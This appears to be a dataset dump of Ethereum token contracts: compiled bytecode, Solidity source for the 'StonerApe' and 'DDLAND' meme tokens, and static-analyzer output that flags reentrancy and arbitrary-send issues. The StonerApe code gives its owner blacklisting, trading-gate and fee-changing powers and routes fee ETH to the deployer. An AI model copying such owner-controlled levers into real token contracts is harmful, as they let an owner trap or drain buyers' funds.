137826120cc565b61214181856120d7565b935061214c836120e8565b8060005b8381101561217d5781516121648882612107565b975061216f8361211f565b925050600181019050612150565b5085935050505092915050565b600060a08201905061219f6000830188611c29565b6121ac60208301876120bd565b81810360408301526121be818661212c565b90506121cd6060830185611cd3565b6121da6080830184611c29565b9695505050505050565b60006121ef82611b7d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561222257612221611d9e565b5b600182019050919050565b60006040820190506122426000830185611cd3565b61224f6020830184611cd3565b9392505050565b60008160601b9050919050565b600061226e82612256565b9050919050565b600061228082612263565b9050919050565b61229861229382611b3f565b612275565b82525050565b60006122aa8284612287565b60148201915081905092915050565b60006122c482611b7d565b91506122cf83611b7d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561230857612307611d9e565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061234d82611b7d565b915061235883611b7d565b92508261236857612367612313565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006123cf602183611a6a565b91506123da82612373565b604082019050919050565b600060208201905081810360008301526123fe816123c2565b905091905056fea264697066735822122097ac874a5d892f5dcc211a5579f495fc88ba688eab9d1f8f85382fb9da4d795864736f6c634300080a0033
{"success": true, "error": null, "results": {}}
7,489
0xD3366A0919eaE250251632A75901662068a40F28
/** *Dev might be high, but at least */ // SPDX-License-Identifier: Unlicensed // Join the Telegram : // https://t.me/StonerApeERC // so we can chat. pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract StonerApe is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "StonerApe"; string private constant _symbol = "SA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610552578063dd62ed3e14610572578063ea1644d5146105b8578063f2fde38b146105d857600080fd5b8063a2a957bb146104cd578063a9059cbb146104ed578063bfd792841461050d578063c3c8cd801461053d57600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104ad57600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f8565b005b34801561020a57600080fd5b5060408051808201909152600981526853746f6e657241706560b81b60208201525b6040516102399190611a1f565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a74565b610697565b6040519015158152602001610239565b34801561027e57600080fd5b50601354610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa0565b6106ae565b3480156102fb57600080fd5b506102c160175481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601454610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae1565b610717565b34801561036d57600080fd5b506101fc61037c366004611b0e565b610762565b34801561038d57600080fd5b506101fc6107aa565b3480156103a257600080fd5b506102c16103b1366004611ae1565b6107d7565b3480156103c257600080fd5b506101fc6107f9565b3480156103d757600080fd5b506101fc6103e6366004611b29565b61086d565b3480156103f757600080fd5b506102c160155481565b34801561040d57600080fd5b506102c161041c366004611ae1565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b0e565b6108af565b34801561047857600080fd5b506102c160165481565b34801561048e57600080fd5b50604080518082019091526002815261534160f01b602082015261022c565b3480156104b957600080fd5b506101fc6104c8366004611b29565b61090e565b3480156104d957600080fd5b506101fc6104e8366004611b42565b61093d565b3480156104f957600080fd5b50610262610508366004611a74565b610997565b34801561051957600080fd5b50610262610528366004611ae1565b60106020526000908152604090205460ff1681565b34801561054957600080fd5b506101fc6109a4565b34801561055e57600080fd5b506101fc61056d366004611b74565b6109da565b34801561057e57600080fd5b506102c161058d366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101fc6105d3366004611b29565b610a7b565b3480156105e457600080fd5b506101fc6105f3366004611ae1565b610aaa565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611c31565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611c92565b91505061062e565b5050565b60006106a4338484610b94565b5060015b92915050565b60006106bb848484610cb8565b61070d843361070885604051806060016040528060288152602001611daa602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f4565b610b94565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161062290611c31565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ca57600080fd5b476107d48161122e565b50565b6001600160a01b0381166000908152600260205260408120546106a890611268565b6000546001600160a01b031633146108235760405162461bcd60e51b815260040161062290611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108975760405162461bcd60e51b815260040161062290611c31565b6611c37937e0800081116108aa57600080fd5b601555565b6000546001600160a01b031633146108d95760405162461bcd60e51b815260040161062290611c31565b601454600160a01b900460ff16156108f057600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161062290611c31565b601755565b6000546001600160a01b031633146109675760405162461bcd60e51b815260040161062290611c31565b6009548211158061097a5750600b548111155b61098357600080fd5b600893909355600a91909155600955600b55565b60006106a4338484610cb8565b6012546001600160a01b0316336001600160a01b0316146109c457600080fd5b60006109cf306107d7565b90506107d4816112ec565b6000546001600160a01b03163314610a045760405162461bcd60e51b815260040161062290611c31565b60005b82811015610a75578160056000868685818110610a2657610a26611c66565b9050602002016020810190610a3b9190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6d81611c92565b915050610a07565b50505050565b6000546001600160a01b03163314610aa55760405162461bcd60e51b815260040161062290611c31565b601655565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161062290611c31565b6001600160a01b038116610b395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610c575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610de05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610e0c57506000546001600160a01b03838116911614155b156110ed57601454600160a01b900460ff16610ea5576000546001600160a01b03848116911614610ea55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b601554811115610ef75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3957506001600160a01b03821660009081526010602052604090205460ff16155b610f915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6014546001600160a01b038381169116146110165760165481610fb3846107d7565b610fbd9190611cab565b106110165760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b6000611021306107d7565b60175460155491925082101590821061103a5760155491505b8080156110515750601454600160a81b900460ff16155b801561106b57506014546001600160a01b03868116911614155b80156110805750601454600160b01b900460ff165b80156110a557506001600160a01b03851660009081526005602052604090205460ff16155b80156110ca57506001600160a01b03841660009081526005602052604090205460ff16155b156110ea576110d8826112ec565b4780156110e8576110e84761122e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112f57506001600160a01b03831660009081526005602052604090205460ff165b8061116157506014546001600160a01b0385811691161480159061116157506014546001600160a01b03848116911614155b1561116e575060006111e8565b6014546001600160a01b03858116911614801561119957506013546001600160a01b03848116911614155b156111ab57600854600c55600954600d555b6014546001600160a01b0384811691161480156111d657506013546001600160a01b03858116911614155b156111e857600a54600c55600b54600d555b610a7584848484611466565b600081848411156112185760405162461bcd60e51b81526004016106229190611a1f565b5060006112258486611cc3565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156112cf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b60006112d9611494565b90506112e583826114b7565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133457611334611c66565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b19190611cda565b816001815181106113c4576113c4611c66565b6001600160a01b0392831660209182029290920101526013546113ea9130911684610b94565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611423908590600090869030904290600401611cf7565b600060405180830381600087803b15801561143d57600080fd5b505af1158015611451573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611473576114736114f9565b61147e848484611527565b80610a7557610a75600e54600c55600f54600d55565b60008060006114a161161e565b90925090506114b082826114b7565b9250505090565b60006112e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165e565b600c541580156115095750600d54155b1561151057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115398761168c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156b90876116e9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159a908661172b565b6001600160a01b0389166000908152600260205260409020556115bc8161178a565b6115c684836117d4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160b91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163982826114b7565b82101561165557505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361167f5760405162461bcd60e51b81526004016106229190611a1f565b5060006112258486611d68565b60008060008060008060008060006116a98a600c54600d546117f8565b92509250925060006116b9611494565b905060008060006116cc8e87878761184d565b919e509c509a509598509396509194505050505091939550919395565b60006112e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f4565b6000806117388385611cab565b9050838110156112e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611794611494565b905060006117a2838361189d565b306000908152600260205260409020549091506117bf908261172b565b30600090815260026020526040902055505050565b6006546117e190836116e9565b6006556007546117f1908261172b565b6007555050565b6000808080611812606461180c898961189d565b906114b7565b90506000611825606461180c8a8961189d565b9050600061183d826118378b866116e9565b906116e9565b9992985090965090945050505050565b600080808061185c888661189d565b9050600061186a888761189d565b90506000611878888861189d565b9050600061188a8261183786866116e9565b939b939a50919850919650505050505050565b6000826000036118af575060006106a8565b60006118bb8385611d8a565b9050826118c88583611d68565b146112e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d457600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112e581611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112e582611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca457611ca4611c7c565b5060010190565b60008219821115611cbe57611cbe611c7c565b500190565b600082821015611cd557611cd5611c7c565b500390565b600060208284031215611cec57600080fd5b81516112e581611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d475784516001600160a01b031683529383019391830191600101611d22565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da457611da4611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201a7269030357f704bf117f81c1cfe0dbc741cfdc4a1897c6dee8029c6b924fb164736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,490
0xdade184d22909018d3c2ac657ac62bc8dbc0eea4
//@DankeDeutschLandPortal // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract DDLAND is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Danke Deutsch-land!!"; string private constant _symbol = unicode"DDLAND"; uint private constant _decimals = 9; uint256 private _teamFee = 5; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = 